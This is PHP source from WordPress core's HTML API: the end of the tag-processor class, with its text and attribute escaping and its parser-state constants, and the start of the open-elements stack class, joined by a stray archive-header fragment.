	 *     // Renders as “Eggs & Milk” in a browser, encoded as `<p>Eggs &amp; Milk</p>`.
	 *     $processor->set_modifiable_text( 'Eggs & Milk' );
	 *
	 *     // Renders as “Eggs &amp; Milk” in a browser, encoded as `<p>Eggs &amp;amp; Milk</p>`.
	 *     $processor->set_modifiable_text( 'Eggs &amp; Milk' );
	 *
	 * @since 6.7.0
	 * @since 6.9.0 Escapes all character references instead of trying to avoid double-escaping.
	 *
	 * @param string $plaintext_content New text content to represent in the matched token.
	 * @return bool Whether the text was able to update.
	 */
	public function set_modifiable_text( string $plaintext_content ): bool {
		if ( self::STATE_TEXT_NODE === $this->parser_state ) {
			$this->lexical_updates['modifiable text'] = new WP_HTML_Text_Replacement(
				$this->text_starts_at,
				$this->text_length,
				strtr(
					$plaintext_content,
					array(
						'<' => '&lt;',
						'>' => '&gt;',
						'&' => '&amp;',
						'"' => '&quot;',
						"'" => '&apos;',
					)
				)
			);

			return true;
		}

		// Comment data is not encoded.
		if (
			self::STATE_COMMENT === $this->parser_state &&
			self::COMMENT_AS_HTML_COMMENT === $this->comment_type
		) {
			// Check if the text could close the comment.
			if ( 1 === preg_match( '/--!?>/', $plaintext_content ) ) {
				return false;
			}

			$this->lexical_updates['modifiable text'] = new WP_HTML_Text_Replacement(
				$this->text_starts_at,
				$this->text_length,
				$plaintext_content
			);

			return true;
		}

		if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
			return false;
		}

		switch ( $this->get_tag() ) {
			case 'SCRIPT':
				/**
				 * This is over-protective, but ensures the update doesn't break
				 * the HTML structure of the SCRIPT element.
				 *
				 * More thorough analysis could track the HTML tokenizer states
				 * and to ensure that the SCRIPT element closes at the expected
				 * SCRIPT close tag as is done in {@see ::skip_script_data()}.
				 *
				 * A SCRIPT element could be closed prematurely by contents
				 * like `</script>`. A SCRIPT element could be prevented from
				 * closing by contents like `<!--<script>`.
				 *
				 * The following strings are essential for dangerous content,
				 * although they are insufficient on their own. This trade-off
				 * prevents dangerous scripts from being sent to the browser.
				 * It is also unlikely to produce HTML that may confuse more
				 * basic HTML tooling.
				 */
				if (
					false !== stripos( $plaintext_content, '</script' ) ||
					false !== stripos( $plaintext_content, '<script' )
				) {
					return false;
				}

				$this->lexical_updates['modifiable text'] = new WP_HTML_Text_Replacement(
					$this->text_starts_at,
					$this->text_length,
					$plaintext_content
				);

				return true;

			case 'STYLE':
				$plaintext_content = preg_replace_callback(
					'~</(?P<TAG_NAME>style)~i',
					static function ( $tag_match ) {
						return "\\3c\\2f{$tag_match['TAG_NAME']}";
					},
					$plaintext_content
				);

				$this->lexical_updates['modifiable text'] = new WP_HTML_Text_Replacement(
					$this->text_starts_at,
					$this->text_length,
					$plaintext_content
				);

				return true;

			case 'TEXTAREA':
			case 'TITLE':
				$plaintext_content = preg_replace_callback(
					"~</(?P<TAG_NAME>{$this->get_tag()})~i",
					static function ( $tag_match ) {
						return "&lt;/{$tag_match['TAG_NAME']}";
					},
					$plaintext_content
				);

				/*
				 * These don't _need_ to be escaped, but since they are decoded it's
				 * safe to leave them escaped and this can prevent other code from
				 * naively detecting tags within the contents.
				 *
				 * @todo It would be useful to prefix a multiline replacement text
				 *       with a newline, but not necessary. This is for aesthetics.
				 */
				$this->lexical_updates['modifiable text'] = new WP_HTML_Text_Replacement(
					$this->text_starts_at,
					$this->text_length,
					$plaintext_content
				);

				return true;
		}

		return false;
	}

	/**
	 * Updates or creates a new attribute on the currently matched tag with the passed value.
	 *
	 * This function handles all necessary HTML encoding. Provide normal, unescaped string values.
	 * The HTML API will encode the strings appropriately so that the browser will interpret them
	 * as the intended value.
	 *
	 * Example:
	 *
	 *     // Renders “Eggs & Milk” in a browser, encoded as `<abbr title="Eggs &amp; Milk">`.
	 *     $processor->set_attribute( 'title', 'Eggs & Milk' );
	 *
	 *     // Renders “Eggs &amp; Milk” in a browser, encoded as `<abbr title="Eggs &amp;amp; Milk">`.
	 *     $processor->set_attribute( 'title', 'Eggs &amp; Milk' );
	 *
	 *     // Renders `true` as `<abbr title>`.
	 *     $processor->set_attribute( 'title', true );
	 *
	 *     // Renders without the attribute for `false` as `<abbr>`.
	 *     $processor->set_attribute( 'title', false );
	 *
	 * Special handling is provided for boolean attribute values:
	 *  - When `true` is passed as the value, then only the attribute name is added to the tag.
	 *  - When `false` is passed, the attribute gets removed if it existed before.
	 *
	 * @since 6.2.0
	 * @since 6.2.1 Fix: Only create a single update for multiple calls with case-variant attribute names.
	 * @since 6.9.0 Escapes all character references instead of trying to avoid double-escaping.
	 *
	 * @param string      $name  The attribute name to target.
	 * @param string|bool $value The new attribute value.
	 * @return bool Whether an attribute value was set.
	 */
	public function set_attribute( $name, $value ): bool {
		if (
			self::STATE_MATCHED_TAG !== $this->parser_state ||
			$this->is_closing_tag
		) {
			return false;
		}

		$name_length = strlen( $name );

		/**
		 * WordPress rejects more characters than are strictly forbidden
		 * in HTML5. This is to prevent additional security risks deeper
		 * in the WordPress and plugin stack. Specifically the following
		 * are not allowed to be set as part of an HTML attribute name:
		 *
		 *  - greater-than “>”
		 *  - ampersand “&”
		 *
		 * @see https://html.spec.whatwg.org/#attributes-2
		 */
		if (
			0 === $name_length ||
			// Syntax-like characters.
			strcspn( $name, '"\'>&</ =' ) !== $name_length ||
			// Control characters.
			strcspn(
				$name,
				"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0A\x0B\x0C\x0D\x0E\x0F" .
				"\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1A\x1B\x1C\x1D\x1E\x1F"
			) !== $name_length ||
			// Unicode noncharacters.
			wp_has_noncharacters( $name )
		) {
			_doing_it_wrong(
				__METHOD__,
				__( 'Invalid attribute name.' ),
				'6.2.0'
			);

			return false;
		}

		/*
		 * > The values "true" and "false" are not allowed on boolean attributes.
		 * > To represent a false value, the attribute has to be omitted altogether.
		 *     - HTML5 spec, https://html.spec.whatwg.org/#boolean-attributes
		 */
		if ( false === $value ) {
			return $this->remove_attribute( $name );
		}

		if ( true === $value ) {
			$updated_attribute = $name;
		} else {
			$comparable_name = strtolower( $name );

			/**
			 * Escape attribute values appropriately.
			 *
			 * @see https://html.spec.whatwg.org/#attributes-3
			 */
			$escaped_new_value = in_array( $comparable_name, wp_kses_uri_attributes(), true )
				? esc_url( $value )
				: strtr(
					$value,
					array(
						'<' => '&lt;',
						'>' => '&gt;',
						'&' => '&amp;',
						'"' => '&quot;',
						"'" => '&apos;',
					)
				);

			// If the escaping functions wiped out the update, reject it and indicate it was rejected.
			if ( '' === $escaped_new_value && '' !== $value ) {
				return false;
			}

			$updated_attribute = "{$name}=\"{$escaped_new_value}\"";
		}

		/*
		 * > There must never be two or more attributes on
		 * > the same start tag whose names are an ASCII
		 * > case-insensitive match for each other.
		 *     - HTML 5 spec
		 *
		 * @see https://html.spec.whatwg.org/multipage/syntax.html#attributes-2:ascii-case-insensitive
		 */
		$comparable_name = strtolower( $name );

		if ( isset( $this->attributes[ $comparable_name ] ) ) {
			/*
			 * Update an existing attribute.
			 *
			 * Example – set attribute id to "new" in <div id="initial_id" />:
			 *
			 *     <div id="initial_id"/>
			 *          ^-------------^
			 *          start         end
			 *     replacement: `id="new"`
			 *
			 *     Result: <div id="new"/>
			 */
			$existing_attribute                        = $this->attributes[ $comparable_name ];
			$this->lexical_updates[ $comparable_name ] = new WP_HTML_Text_Replacement(
				$existing_attribute->start,
				$existing_attribute->length,
				$updated_attribute
			);
		} else {
			/*
			 * Create a new attribute at the tag's name end.
			 *
			 * Example – add attribute id="new" to <div />:
			 *
			 *     <div/>
			 *         ^
			 *         start and end
			 *     replacement: ` id="new"`
			 *
			 *     Result: <div id="new"/>
			 */
			$this->lexical_updates[ $comparable_name ] = new WP_HTML_Text_Replacement(
				$this->tag_name_starts_at + $this->tag_name_length,
				0,
				' ' . $updated_attribute
			);
		}

		/*
		 * Any calls to update the `class` attribute directly should wipe out any
		 * enqueued class changes from `add_class` and `remove_class`.
		 */
		if ( 'class' === $comparable_name && ! empty( $this->classname_updates ) ) {
			$this->classname_updates = array();
		}

		return true;
	}

	/**
	 * Remove an attribute from the currently-matched tag.
	 *
	 * @since 6.2.0
	 *
	 * @param string $name The attribute name to remove.
	 * @return bool Whether an attribute was removed.
	 */
	public function remove_attribute( $name ): bool {
		if (
			self::STATE_MATCHED_TAG !== $this->parser_state ||
			$this->is_closing_tag
		) {
			return false;
		}

		/*
		 * > There must never be two or more attributes on
		 * > the same start tag whose names are an ASCII
		 * > case-insensitive match for each other.
		 *     - HTML 5 spec
		 *
		 * @see https://html.spec.whatwg.org/multipage/syntax.html#attributes-2:ascii-case-insensitive
		 */
		$name = strtolower( $name );

		/*
		 * Any calls to update the `class` attribute directly should wipe out any
		 * enqueued class changes from `add_class` and `remove_class`.
		 */
		if ( 'class' === $name && count( $this->classname_updates ) !== 0 ) {
			$this->classname_updates = array();
		}

		/*
		 * If updating an attribute that didn't exist in the input
		 * document, then remove the enqueued update and move on.
		 *
		 * For example, this might occur when calling `remove_attribute()`
		 * after calling `set_attribute()` for the same attribute
		 * and when that attribute wasn't originally present.
		 */
		if ( ! isset( $this->attributes[ $name ] ) ) {
			if ( isset( $this->lexical_updates[ $name ] ) ) {
				unset( $this->lexical_updates[ $name ] );
			}
			return false;
		}

		/*
		 * Removes an existing tag attribute.
		 *
		 * Example – remove the attribute id from <div id="main"/>:
		 *    <div id="initial_id"/>
		 *         ^-------------^
		 *         start         end
		 *    replacement: ``
		 *
		 *    Result: <div />
		 */
		$this->lexical_updates[ $name ] = new WP_HTML_Text_Replacement(
			$this->attributes[ $name ]->start,
			$this->attributes[ $name ]->length,
			''
		);

		// Removes any duplicated attributes if they were also present.
		foreach ( $this->duplicate_attributes[ $name ] ?? array() as $attribute_token ) {
			$this->lexical_updates[] = new WP_HTML_Text_Replacement(
				$attribute_token->start,
				$attribute_token->length,
				''
			);
		}

		return true;
	}

	/**
	 * Adds a new class name to the currently matched tag.
	 *
	 * @since 6.2.0
	 *
	 * @param string $class_name The class name to add.
	 * @return bool Whether the class was set to be added.
	 */
	public function add_class( $class_name ): bool {
		if (
			self::STATE_MATCHED_TAG !== $this->parser_state ||
			$this->is_closing_tag
		) {
			return false;
		}

		if ( self::QUIRKS_MODE !== $this->compat_mode ) {
			$this->classname_updates[ $class_name ] = self::ADD_CLASS;
			return true;
		}

		/*
		 * Because class names are matched ASCII-case-insensitively in quirks mode,
		 * this needs to see if a case variant of the given class name is already
		 * enqueued and update that existing entry, if so. This picks the casing of
		 * the first-provided class name for all lexical variations.
		 */
		$class_name_length = strlen( $class_name );
		foreach ( $this->classname_updates as $updated_name => $action ) {
			if (
				strlen( $updated_name ) === $class_name_length &&
				0 === substr_compare( $updated_name, $class_name, 0, $class_name_length, true )
			) {
				$this->classname_updates[ $updated_name ] = self::ADD_CLASS;
				return true;
			}
		}

		$this->classname_updates[ $class_name ] = self::ADD_CLASS;
		return true;
	}

	/**
	 * Removes a class name from the currently matched tag.
	 *
	 * @since 6.2.0
	 *
	 * @param string $class_name The class name to remove.
	 * @return bool Whether the class was set to be removed.
	 */
	public function remove_class( $class_name ): bool {
		if (
			self::STATE_MATCHED_TAG !== $this->parser_state ||
			$this->is_closing_tag
		) {
			return false;
		}

		if ( self::QUIRKS_MODE !== $this->compat_mode ) {
			$this->classname_updates[ $class_name ] = self::REMOVE_CLASS;
			return true;
		}

		/*
		 * Because class names are matched ASCII-case-insensitively in quirks mode,
		 * this needs to see if a case variant of the given class name is already
		 * enqueued and update that existing entry, if so. This picks the casing of
		 * the first-provided class name for all lexical variations.
		 */
		$class_name_length = strlen( $class_name );
		foreach ( $this->classname_updates as $updated_name => $action ) {
			if (
				strlen( $updated_name ) === $class_name_length &&
				0 === substr_compare( $updated_name, $class_name, 0, $class_name_length, true )
			) {
				$this->classname_updates[ $updated_name ] = self::REMOVE_CLASS;
				return true;
			}
		}

		$this->classname_updates[ $class_name ] = self::REMOVE_CLASS;
		return true;
	}

	/**
	 * Returns the string representation of the HTML Tag Processor.
	 *
	 * @since 6.2.0
	 *
	 * @see WP_HTML_Tag_Processor::get_updated_html()
	 *
	 * @return string The processed HTML.
	 */
	public function __toString(): string {
		return $this->get_updated_html();
	}

	/**
	 * Returns the string representation of the HTML Tag Processor.
	 *
	 * @since 6.2.0
	 * @since 6.2.1 Shifts the internal cursor corresponding to the applied updates.
	 * @since 6.4.0 No longer calls subclass method `next_tag()` after updating HTML.
	 *
	 * @return string The processed HTML.
	 */
	public function get_updated_html(): string {
		$requires_no_updating = 0 === count( $this->classname_updates ) && 0 === count( $this->lexical_updates );

		/*
		 * When there is nothing more to update and nothing has already been
		 * updated, return the original document and avoid a string copy.
		 */
		if ( $requires_no_updating ) {
			return $this->html;
		}

		/*
		 * Keep track of the position right before the current tag. This will
		 * be necessary for reparsing the current tag after updating the HTML.
		 */
		$before_current_tag = $this->token_starts_at ?? 0;

		/*
		 * 1. Apply the enqueued edits and update all the pointers to reflect those changes.
		 */
		$this->class_name_updates_to_attributes_updates();
		$before_current_tag += $this->apply_attributes_updates( $before_current_tag );

		/*
		 * 2. Rewind to before the current tag and reparse to get updated attributes.
		 *
		 * At this point the internal cursor points to the end of the tag name.
		 * Rewind before the tag name starts so that it's as if the cursor didn't
		 * move; a call to `next_tag()` will reparse the recently-updated attributes
		 * and additional calls to modify the attributes will apply at this same
		 * location, but in order to avoid issues with subclasses that might add
		 * behaviors to `next_tag()`, the internal methods should be called here
		 * instead.
		 *
		 * It's important to note that in this specific place there will be no change
		 * because the processor was already at a tag when this was called and it's
		 * rewinding only to the beginning of this very tag before reprocessing it
		 * and its attributes.
		 *
		 * <p>Previous HTML<em>More HTML</em></p>
		 *                 ↑  │ back up by the length of the tag name plus the opening <
		 *                 └←─┘ back up by strlen("em") + 1 ==> 3
		 */
		$this->bytes_already_parsed = $before_current_tag;
		$this->base_class_next_token();

		return $this->html;
	}

	/**
	 * Parses tag query input into internal search criteria.
	 *
	 * @since 6.2.0
	 *
	 * @param array|string|null $query {
	 *     Optional. Which tag name to find, having which class, etc. Default is to find any tag.
	 *
	 *     @type string|null $tag_name     Which tag to find, or `null` for "any tag."
	 *     @type int|null    $match_offset Find the Nth tag matching all search criteria.
	 *                                     1 for "first" tag, 3 for "third," etc.
	 *                                     Defaults to first tag.
	 *     @type string|null $class_name   Tag must contain this class name to match.
	 *     @type string      $tag_closers  "visit" or "skip": whether to stop on tag closers, e.g. </div>.
	 * }
	 */
	private function parse_query( $query ) {
		if ( null !== $query && $query === $this->last_query ) {
			return;
		}

		$this->last_query          = $query;
		$this->sought_tag_name     = null;
		$this->sought_class_name   = null;
		$this->sought_match_offset = 1;
		$this->stop_on_tag_closers = false;

		// A single string value means "find the tag of this name".
		if ( is_string( $query ) ) {
			$this->sought_tag_name = $query;
			return;
		}

		// An empty query parameter applies no restrictions on the search.
		if ( null === $query ) {
			return;
		}

		// If not using the string interface, an associative array is required.
		if ( ! is_array( $query ) ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'The query argument must be an array or a tag name.' ),
				'6.2.0'
			);
			return;
		}

		if ( isset( $query['tag_name'] ) && is_string( $query['tag_name'] ) ) {
			$this->sought_tag_name = $query['tag_name'];
		}

		if ( isset( $query['class_name'] ) && is_string( $query['class_name'] ) ) {
			$this->sought_class_name = $query['class_name'];
		}

		if ( isset( $query['match_offset'] ) && is_int( $query['match_offset'] ) && 0 < $query['match_offset'] ) {
			$this->sought_match_offset = $query['match_offset'];
		}

		if ( isset( $query['tag_closers'] ) ) {
			$this->stop_on_tag_closers = 'visit' === $query['tag_closers'];
		}
	}


	/**
	 * Checks whether a given tag and its attributes match the search criteria.
	 *
	 * @since 6.2.0
	 *
	 * @return bool Whether the given tag and its attribute match the search criteria.
	 */
	private function matches(): bool {
		if ( $this->is_closing_tag && ! $this->stop_on_tag_closers ) {
			return false;
		}

		// Does the tag name match the requested tag name in a case-insensitive manner?
		if (
			isset( $this->sought_tag_name ) &&
			(
				strlen( $this->sought_tag_name ) !== $this->tag_name_length ||
				0 !== substr_compare( $this->html, $this->sought_tag_name, $this->tag_name_starts_at, $this->tag_name_length, true )
			)
		) {
			return false;
		}

		if ( null !== $this->sought_class_name && ! $this->has_class( $this->sought_class_name ) ) {
			return false;
		}

		return true;
	}

	/**
	 * Gets DOCTYPE declaration info from a DOCTYPE token.
	 *
	 * DOCTYPE tokens may appear in many places in an HTML document. In most places, they are
	 * simply ignored. The main parsing functions find the basic shape of DOCTYPE tokens but
	 * do not perform detailed parsing.
	 *
	 * This method can be called to perform a full parse of the DOCTYPE token and retrieve
	 * its information.
	 *
	 * @return WP_HTML_Doctype_Info|null The DOCTYPE declaration information or `null` if not
	 *                                   currently at a DOCTYPE node.
	 */
	public function get_doctype_info(): ?WP_HTML_Doctype_Info {
		if ( self::STATE_DOCTYPE !== $this->parser_state ) {
			return null;
		}

		return WP_HTML_Doctype_Info::from_doctype_token( substr( $this->html, $this->token_starts_at, $this->token_length ) );
	}

	/**
	 * Parser Ready State.
	 *
	 * Indicates that the parser is ready to run and waiting for a state transition.
	 * It may not have started yet, or it may have just finished parsing a token and
	 * is ready to find the next one.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_READY = 'STATE_READY';

	/**
	 * Parser Complete State.
	 *
	 * Indicates that the parser has reached the end of the document and there is
	 * nothing left to scan. It finished parsing the last token completely.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_COMPLETE = 'STATE_COMPLETE';

	/**
	 * Parser Incomplete Input State.
	 *
	 * Indicates that the parser has reached the end of the document before finishing
	 * a token. It started parsing a token but there is a possibility that the input
	 * HTML document was truncated in the middle of a token.
	 *
	 * The parser is reset at the start of the incomplete token and has paused. There
	 * is nothing more than can be scanned unless provided a more complete document.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_INCOMPLETE_INPUT = 'STATE_INCOMPLETE_INPUT';

	/**
	 * Parser Matched Tag State.
	 *
	 * Indicates that the parser has found an HTML tag and it's possible to get
	 * the tag name and read or modify its attributes (if it's not a closing tag).
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_MATCHED_TAG = 'STATE_MATCHED_TAG';

	/**
	 * Parser Text Node State.
	 *
	 * Indicates that the parser has found a text node and it's possible
	 * to read and modify that text.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_TEXT_NODE = 'STATE_TEXT_NODE';

	/**
	 * Parser CDATA Node State.
	 *
	 * Indicates that the parser has found a CDATA node and it's possible
	 * to read and modify its modifiable text. Note that in HTML there are
	 * no CDATA nodes outside of foreign content (SVG and MathML). Outside
	 * of foreign content, they are treated as HTML comments.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_CDATA_NODE = 'STATE_CDATA_NODE';

	/**
	 * Indicates that the parser has found an HTML comment and it's
	 * possible to read and modify its modifiable text.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_COMMENT = 'STATE_COMMENT';

	/**
	 * Indicates that the parser has found a DOCTYPE node and it's
	 * possible to read its DOCTYPE information via `get_doctype_info()`.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_DOCTYPE = 'STATE_DOCTYPE';

	/**
	 * Indicates that the parser has found an empty tag closer `</>`.
	 *
	 * Note that in HTML there are no empty tag closers, and they
	 * are ignored. Nonetheless, the Tag Processor still
	 * recognizes them as they appear in the HTML stream.
	 *
	 * These were historically discussed as a "presumptuous tag
	 * closer," which would close the nearest open tag, but were
	 * dismissed in favor of explicitly-closing tags.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_PRESUMPTUOUS_TAG = 'STATE_PRESUMPTUOUS_TAG';

	/**
	 * Indicates that the parser has found a "funky comment"
	 * and it's possible to read and modify its modifiable text.
	 *
	 * Example:
	 *
	 *     </%url>
	 *     </{"wp-bit":"query/post-author"}>
	 *     </2>
	 *
	 * Funky comments are tag closers with invalid tag names. Note
	 * that in HTML these are turn into bogus comments. Nonetheless,
	 * the Tag Processor recognizes them in a stream of HTML and
	 * exposes them for inspection and modification.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_FUNKY_COMMENT = 'STATE_WP_FUNKY';

	/**
	 * Indicates that a comment was created when encountering abruptly-closed HTML comment.
	 *
	 * Example:
	 *
	 *     <!-->
	 *     <!--->
	 *
	 * @since 6.5.0
	 */
	const COMMENT_AS_ABRUPTLY_CLOSED_COMMENT = 'COMMENT_AS_ABRUPTLY_CLOSED_COMMENT';

	/**
	 * Indicates that a comment would be parsed as a CDATA node,
	 * were HTML to allow CDATA nodes outside of foreign content.
	 *
	 * Example:
	 *
	 *     <![CDATA[This is a CDATA node.]]>
	 *
	 * This is an HTML comment, but it looks like a CDATA node.
	 *
	 * @since 6.5.0
	 */
	const COMMENT_AS_CDATA_LOOKALIKE = 'COMMENT_AS_CDATA_LOOKALIKE';

	/**
	 * Indicates that a comment was created when encountering
	 * normative HTML comment syntax.
	 *
	 * Example:
	 *
	 *     <!-- this is a comment -->
	 *
	 * @since 6.5.0
	 */
	const COMMENT_AS_HTML_COMMENT = 'COMMENT_AS_HTML_COMMENT';

	/**
	 * Indicates that a comment would be parsed as a Processing
	 * Instruction node, were they to exist within HTML.
	 *
	 * Example:
	 *
	 *     <?wp __( 'Like' ) ?>
	 *
	 * This is an HTML comment, but it looks like a CDATA node.
	 *
	 * @since 6.5.0
	 */
	const COMMENT_AS_PI_NODE_LOOKALIKE = 'COMMENT_AS_PI_NODE_LOOKALIKE';

	/**
	 * Indicates that a comment was created when encountering invalid
	 * HTML input, a so-called "bogus comment."
	 *
	 * Example:
	 *
	 *     <?nothing special>
	 *     <!{nothing special}>
	 *
	 * @since 6.5.0
	 */
	const COMMENT_AS_INVALID_HTML = 'COMMENT_AS_INVALID_HTML';

	/**
	 * No-quirks mode document compatibility mode.
	 *
	 * > In no-quirks mode, the behavior is (hopefully) the desired behavior
	 * > described by the modern HTML and CSS specifications.
	 *
	 * @see self::$compat_mode
	 * @see https://developer.mozilla.org/en-US/docs/Web/HTML/Quirks_Mode_and_Standards_Mode
	 *
	 * @since 6.7.0
	 *
	 * @var string
	 */
	const NO_QUIRKS_MODE = 'no-quirks-mode';

	/**
	 * Quirks mode document compatibility mode.
	 *
	 * > In quirks mode, layout emulates behavior in Navigator 4 and Internet
	 * > Explorer 5. This is essential in order to support websites that were
	 * > built before the widespread adoption of web standards.
	 *
	 * @see self::$compat_mode
	 * @see https://developer.mozilla.org/en-US/docs/Web/HTML/Quirks_Mode_and_Standards_Mode
	 *
	 * @since 6.7.0
	 *
	 * @var string
	 */
	const QUIRKS_MODE = 'quirks-mode';

	/**
	 * Indicates that a span of text may contain any combination of significant
	 * kinds of characters: NULL bytes, whitespace, and others.
	 *
	 * @see self::$text_node_classification
	 * @see self::subdivide_text_appropriately
	 *
	 * @since 6.7.0
	 */
	const TEXT_IS_GENERIC = 'TEXT_IS_GENERIC';

	/**
	 * Indicates that a span of text comprises a sequence only of NULL bytes.
	 *
	 * @see self::$text_node_classification
	 * @see self::subdivide_text_appropriately
	 *
	 * @since 6.7.0
	 */
	const TEXT_IS_NULL_SEQUENCE = 'TEXT_IS_NULL_SEQUENCE';

	/**
	 * Indicates that a span of decoded text comprises only whitespace.
	 *
	 * @see self::$text_node_classification
	 * @see self::subdivide_text_appropriately
	 *
	 * @since 6.7.0
	 */
	const TEXT_IS_WHITESPACE = 'TEXT_IS_WHITESPACE';
}
PKYO\A�g��W�Wclass-wp-html-open-elements.phpnu�[���<?php
/**
 * HTML API: WP_HTML_Open_Elements class
 *
 * @package WordPress
 * @subpackage HTML-API
 * @since 6.4.0
 */

/**
 * Core class used by the HTML processor during HTML parsing
 * for managing the stack of open elements.
 *
 * This class is designed for internal use by the HTML processor.
 *
 * > Initially, the stack of open elements is empty. The stack grows
 * > downwards; the topmost node on the stack is the first one added
 * > to the stack, and the bottommost node of the stack is the most
 * > recently added node in the stack (notwithstanding when the stack
 * > is manipulated in a random access fashion as part of the handling
 * > for misnested tags).
 *
 * @since 6.4.0
 *
 * @access private
 *
 * @see https://html.spec.whatwg.org/#stack-of-open-elements
 * @see WP_HTML_Processor
 */
class WP_HTML_Open_Elements {
	/**
	 * Holds the stack of open element references.
	 *
	 * @since 6.4.0
	 *
	 * @var WP_HTML_Token[]
	 */
	public $stack = array();

	/**
	 * Whether a P element is in button scope currently.
	 *
	 * This class optimizes scope lookup by pre-calculating
	 * this value when elements are added and removed to the
	 * stack of open elements which might change its value.
	 * This avoids frequent iteration over the stack.
	 *
	 * @since 6.4.0
	 *
	 * @var bool
	 */
	private $has_p_in_button_scope = false;

	/**
	 * A function that will be called when an item is popped off the stack of open elements.
	 *
	 * The function will be called with the popped item as its argument.
	 *
	 * @since 6.6.0
	 *
	 * @var Closure|null
	 */
	private $pop_handler = null;

	/**
	 * A function that will be called when an item is pushed onto the stack of open elements.
	 *
	 * The function will be called with the pushed item as its argument.
	 *
	 * @since 6.6.0
	 *
	 * @var Closure|null
	 */
	private $push_handler = null;

	/**
	 * Sets a pop handler that will be called when an item is popped off the stack of
	 * open elements.
	 *
	 * The function will be called with the pushed item as its argument.
	 *
	 * @since 6.6.0
	 *
	 * @param Closure $handler The handler function.
	 */
	public function set_pop_handler( Closure $handler ): void {
		$this->pop_handler = $handler;
	}

	/**
	 * Sets a push handler that will be called when an item is pushed onto the stack of
	 * open elements.
	 *
	 * The function will be called with the pushed item as its argument.
	 *
	 * @since 6.6.0
	 *
	 * @param Closure $handler The handler function.
	 */
	public function set_push_handler( Closure $handler ): void {
		$this->push_handler = $handler;
	}

	/**
	 * Returns the name of the node at the nth position on the stack
	 * of open elements, or `null` if no such position exists.
	 *
	 * Note that this uses a 1-based index, which represents the
	 * "nth item" on the stack, counting from the top, where the
	 * top-most element is the 1st, the second is the 2nd, etc...
	 *
	 * @since 6.7.0
	 *
	 * @param int $nth Retrieve the nth item on the stack, with 1 being
	 *                 the top element, 2 being the second, etc...
	 * @return WP_HTML_Token|null Name of the node on the stack at the given location,
	 *                            or `null` if the location isn't on the stack.
	 */
	public function at( int $nth ): ?WP_HTML_Token {
		foreach ( $this->walk_down() as $item ) {
			if ( 0 === --$nth ) {
				return $item;
			}
		}

		return null;
	}

	/**
	 * Reports if a node of a given name is in the stack of open elements.
	 *
	 * @since 6.7.0
	 *
	 * @param string $node_name Name of node for which to check.
	 * @return bool Whether a node of the given name is in the stack of open elements.
	 */
	public function contains( string $node_name ): bool {
		foreach ( $this->walk_up() as $item ) {
			if ( $node_name === $item->node_name ) {
				return true;
			}
		}

		return false;
	}

	/**
	 * Reports if a specific node is in the stack of open elements.
	 *
	 * @since 6.4.0
	 *
	 * @param WP_HTML_Token $token Look for this node in the stack.
	 * @return bool Whether the referenced node is in the stack of open elements.
	 */
	public function contains_node( WP_HTML_Token $token ): bool {
		foreach ( $this->walk_up() as $item ) {
			if ( $token === $item ) {
				return true;
			}
		}

		return false;
	}

	/**
	 * Returns how many nodes are currently in the stack of open elements.
	 *
	 * @since 6.4.0
	 *
	 * @return int How many node are in the stack of open elements.
	 */
	public function count(): int {
		return count( $this->stack );
	}

	/**
	 * Returns the node at the end of the stack of open elements,
	 * if one exists. If the stack is empty, returns null.
	 *
	 * @since 6.4.0
	 *
	 * @return WP_HTML_Token|null Last node in the stack of open elements, if one exists, otherwise null.
	 */
	public function current_node(): ?WP_HTML_Token {
		$current_node = end( $this->stack );

		return $current_node ? $current_node : null;
	}

	/**
	 * Indicates if the current node is of a given type or name.
	 *
	 * It's possible to pass either a node type or a node name to this function.
	 * In the case there is no current element it will always return `false`.
	 *
	 * Example:
	 *
	 *     // Is the current node a text node?
	 *     $stack->current_node_is( '#text' );
	 *
	 *     // Is the current node a DIV element?
	 *     $stack->current_node_is( 'DIV' );
	 *
	 *     // Is the current node any element/tag?
	 *     $stack->current_node_is( '#tag' );
	 *
	 * @see WP_HTML_Tag_Processor::get_token_type
	 * @see WP_HTML_Tag_Processor::get_token_name
	 *
	 * @since 6.7.0
	 *
	 * @access private
	 *
	 * @param string $identity Check if the current node has this name or type (depending on what is provided).
	 * @return bool Whether there is a current element that matches the given identity, whether a token name or type.
	 */
	public function current_node_is( string $identity ): bool {
		$current_node = end( $this->stack );
		if ( false === $current_node ) {
			return false;
		}

		$current_node_name = $current_node->node_name;

		return (
			$current_node_name === $identity ||
			( '#doctype' === $identity && 'html' === $current_node_name ) ||
			( '#tag' === $identity && ctype_upper( $current_node_name ) )
		);
	}

	/**
	 * Returns whether an element is in a specific scope.
	 *
	 * @since 6.4.0
	 *
	 * @see https://html.spec.whatwg.org/#has-an-element-in-the-specific-scope
	 *
	 * @param string   $tag_name         Name of tag check.
	 * @param string[] $termination_list List of elements that terminate the search.
	 * @return bool Whether the element was found in a specific scope.
	 */
	public function has_element_in_specific_scope( string $tag_name, $termination_list ): bool {
		foreach ( $this->walk_up() as $node ) {
			$namespaced_name = 'html' === $node->namespace
				? $node->node_name
				: "{$node->namespace} {$node->node_name}";

			if ( $namespaced_name === $tag_name ) {
				return true;
			}

			if (
				'(internal: H1 through H6 - do not use)' === $tag_name &&
				in_array( $namespaced_name, array( 'H1', 'H2', 'H3', 'H4', 'H5', 'H6' ), true )
			) {
				return true;
			}

			if ( in_array( $namespaced_name, $termination_list, true ) ) {
				return false;
			}
		}

		return false;
	}

	/**
	 * Returns whether a particular element is in scope.
	 *
	 * > The stack of open elements is said to have a particular element in
	 * > scope when it has that element in the specific scope consisting of
	 * > the following element types:
	 * >
	 * >   - applet
	 * >   - caption
	 * >   - html
	 * >   - table
	 * >   - td
	 * >   - th
	 * >   - marquee
	 * >   - object
	 * >   - template
